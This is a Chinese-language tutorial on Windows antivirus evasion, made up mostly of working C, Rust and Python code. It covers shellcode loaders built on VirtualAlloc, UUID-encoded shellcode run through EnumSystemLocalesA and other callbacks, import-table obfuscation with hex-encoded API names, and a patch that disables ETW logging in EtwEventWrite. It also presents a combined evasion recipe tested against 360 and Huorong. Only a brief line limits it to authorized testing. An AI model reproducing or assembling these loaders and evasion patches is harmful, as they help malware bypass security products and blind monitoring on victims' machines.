免杀初步学习(一)
字数 1549 2025-08-06 12:20:41
免杀技术初步学习与实现指南
一、内存执行Shellcode基础
1. 函数指针原理
函数指针是执行Shellcode的核心机制,其定义格式为:
函数返回值类型 (*指针变量名)(函数参数列表);
例如:
int (*p)(int, int);
2. 基本执行方法
通过函数指针调用函数的示例:
#include <iostream>
#include <windows.h>
void print() {
std::cout << "123";
}
int main() {
void (*p)();
p = print;
p();
}
3. 结合VirtualAlloc执行Shellcode
Windows API关键函数:
VirtualAlloc: 分配可执行内存memcpy: 复制Shellcode到内存- 函数指针转换执行
C语言实现示例:
unsigned char shellcode[] = "\x00";
void* exec = VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
memcpy(exec, shellcode, sizeof shellcode);
((void (*)())exec)();
4. Rust实现基础Shellcode加载器
完整Rust实现代码:
use std::mem;
use winapi::um::memoryapi::{VirtualAlloc, VirtualProtect};
use winapi::um::winnt::{MEM_COMMIT, PAGE_EXECUTE_READWRITE};
use hex;
fn StrToU8Array(str: &str) -> Vec<u8> {
let hex_string = str.replace("\\x", "");
let bytes = hex::decode(hex_string).unwrap();
bytes.to_vec()
}
fn main() {
let shellcode = StrToU8Array("\\xfc\\x48\\x83..."); // 完整Shellcode
// 分配可执行内存
let exec = unsafe { VirtualAlloc(0 as _, shellcode.len(), MEM_COMMIT, PAGE_EXECUTE_READWRITE) };
// 复制Shellcode到内存
unsafe {
let ptr = exec as *mut u8;
std::ptr::copy_nonoverlapping(shellcode.as_ptr(), ptr, shellcode.len());
}
// 设置内存保护属性
let mut old_protect: u32 = 0;
unsafe {
winapi::um::memoryapi::VirtualProtect(
exec as _,
shellcode.len(),
PAGE_EXECUTE_READWRITE,
&mut old_protect,
);
}
// 执行Shellcode
let f: fn();
unsafe { f = mem::transmute(exec) };
f();
// 释放内存
unsafe {
winapi::um::memoryapi::VirtualFree(exec, 0, winapi::um::winnt::MEM_RELEASE);
}
}
二、Shellcode混淆技术
1. 常见混淆方法
- Base64编码
- XOR加密
- AES加密
- RC4加密
- 添加随机字符
- 字符串变形
- 多种方法组合使用
2. 推荐组合方案
XOR + Base64 + AES 三重混淆
三、UUID加载Shellcode技术
1. UUID基础
- 128位唯一标识符
- 格式示例:
{21EC2020-3AEA-1069-A2DD-08002B30309D} - 可通过API转换为二进制数据
2. 关键Windows API
UuidFromStringA: 将UUID字符串转换为二进制数据EnumSystemLocalesA: 通过回调函数执行代码
3. 实现原理
- 创建并分配堆内存(
HeapCreate和HeapAlloc) - 将UUID加密的Shellcode写入堆内存
- 通过回调函数触发执行Shellcode
4. Python转换Shellcode为UUID
from uuid import UUID
def convertToUUID(shellcode):
if len(shellcode) % 16 != 0:
addNullbyte = b"\x00" * (16 - (len(shellcode) % 16))
shellcode += addNullbyte
uuids = []
for i in range(0, len(shellcode), 16):
uuidString = str(UUID(bytes_le=shellcode[i:i+16]))
uuids.append(uuidString.replace("'", "\""))
return uuids
5. Rust实现UUID加载器
pub fn UUidLoderAndObfuscation(code: &Vec<&str>) {
let uuids = code;
let hc = unsafe { HeapCreate(0x00040000, 0, 0) }; // 获取可执行句柄
let ha = unsafe { HeapAlloc(hc, 0, 0x001000) }; // 申请堆空间
let mut hptr = ha as usize;
let elems = uuids.len();
for i in 0..elems {
let status = unsafe { WriteUuidStringToMemory(uuids[i], hptr as *mut u8) };
hptr += 16 as usize;
}
unsafe {
EnumSystemLocalesA(Some(std::mem::transmute(ha)), 0); // 执行Shellcode
HeapFree(hc, 0, ha);
}
}
6. 替代回调函数
除EnumSystemLocalesA外,还可使用:
EnumTimeFormatsAEnumWindowsEnumDesktopWindowsEnumDateFormatsAEnumChildWindowsEnumThreadWindowsEnumSystemGeoIDEnumSystemLanguageGroupsAEnumUILanguagesAEnumSystemCodePagesAEnumDesktopsWEnumSystemCodePagesW
四、导入表混淆技术
1. 基本原理
隐藏敏感API调用(如VirtualAlloc),通过动态获取函数地址调用
2. C++实现示例
typedef VOID*(WINAPI* pVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc fnVirtualProtect;
unsigned char sVirtualProtect[] = {'V','i','r','t','u','a','l','A','l','l','o','c',0x0};
unsigned char sKernel32[] = {'k','e','r','n','e','l','3','2','.','d','l','l',0x0};
fnVirtualProtect = (pVirtualAlloc)GetProcAddress(GetModuleHandle((LPCSTR)sKernel32), (LPCSTR)sVirtualProtect);
void* exec = fnVirtualProtect(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
3. Rust实现
type VirtualAllocFn = unsafe extern "system" fn(
lpAddress: *mut winapi::ctypes::c_void,
dwSize: usize,
flAllocationType: u32,
flProtect: u32,
) -> *mut winapi::ctypes::c_void;
let sNtdllname = hex::decode("734e74646c6c").expect("");
let Ntname = hex::decode("4e7450726f746563745669727475616c4d656d6f7279").expect("");
let kernel32 = CString::new(sNtdllname).expect("CString::new failed");
let virtual_alloc = CString::new(Ntname).expect("CString::new failed");
let h_module = unsafe { GetModuleHandleA(kernel32.as_ptr()) };
let oNtVirtual = unsafe {
mem::transmute::<*const (), TNtVirtual>(
GetProcAddress(h_module, virtual_alloc.as_ptr()) as *const ()
)
};
五、禁用Windows事件跟踪(ETW)
1. ETW原理
Windows事件追踪功能,安全产品常用,位于ntdll.dll中
2. 禁用方法
Hook EtwEventWrite函数,修改第一行汇编为0xc3(ret指令)
3. 关键API
NtProtectVirtualMemory: 修改内存保护属性FlushInstructionCache: 刷新指令缓存
4. Rust实现
fn disableETW() {
let patch: &[u8; 4] = &[0x48, 0x33, 0xc0, 0xc3]; // xor rax, rax; ret
let mut old_protect: ULONG = 0;
let size: usize = patch.len();
let h_current_proc = unsafe { GetCurrentProcess() };
// 获取函数地址
let s_etw_event_write_name = CString::new(hex::decode("4574774576656e745772697465").expect("")).expect("");
let ntdlName = CString::new(hex::decode("6e74646c6c2e646c6c").expect("")).expect("");
let ntProName = CString::new(hex::decode("4e7450726f746563745669727475616c4d656d6f7279").expect("")).expect("");
let h_ntdll = unsafe { GetModuleHandleA(ntdlName.as_ptr() as *const i8) };
let p_event_write = unsafe {
GetProcAddress(h_ntdll, s_etw_event_write_name.as_ptr() as *const i8)
} as *const ();
// 修改内存属性并打补丁
unsafe {
let far_proc = GetProcAddress(h_ntdll, ntProName.as_ptr() as *const i8) as *const ();
let o_nt_virtual = mem::transmute::<*const (), TNtVirtual>(far_proc);
o_nt_virtual(
h_current_proc,
p_event_write as *mut PVOID,
size as *mut usize,
PAGE_READWRITE,
&mut old_protect,
);
WriteProcessMemory(
h_current_proc,
p_event_write as *mut c_void,
patch.as_ptr() as LPVOID,
size,
&mut old_protect as *mut _ as *mut usize,
);
o_nt_virtual(
h_current_proc,
p_event_write as *mut PVOID,
size as *mut usize,
old_protect,
&mut old_protect,
);
FlushInstructionCache(h_current_proc, p_event_write as *const _, size);
}
}
六、综合免杀方案
- 对Shellcode进行多重混淆(XOR+Base64+AES)
- 使用UUID或替代方式加载Shellcode
- 混淆导入表,动态获取API地址
- 禁用ETW等监控功能
- 使用Rust等较少被检测的语言实现
七、测试与验证
测试环境:
- 火绒杀毒软件
- 360安全卫士
验证方法:
- 编译生成可执行文件
- 使用杀毒软件扫描
- 实际运行测试功能
- 检查是否触发安全警报
八、注意事项
- 仅用于合法授权的安全测试
- 实际效果可能因杀毒软件版本不同而异
- 需要持续更新对抗新的检测技术
- 建议结合其他免杀技术使用
- 注意内存释放,避免内存泄漏
九、参考资源
- Windows API文档(MSDN)
- Rust官方文档
- 安全研究社区文章(如tttang.com)
- 开源免杀项目代码
- 杀毒软件检测机制分析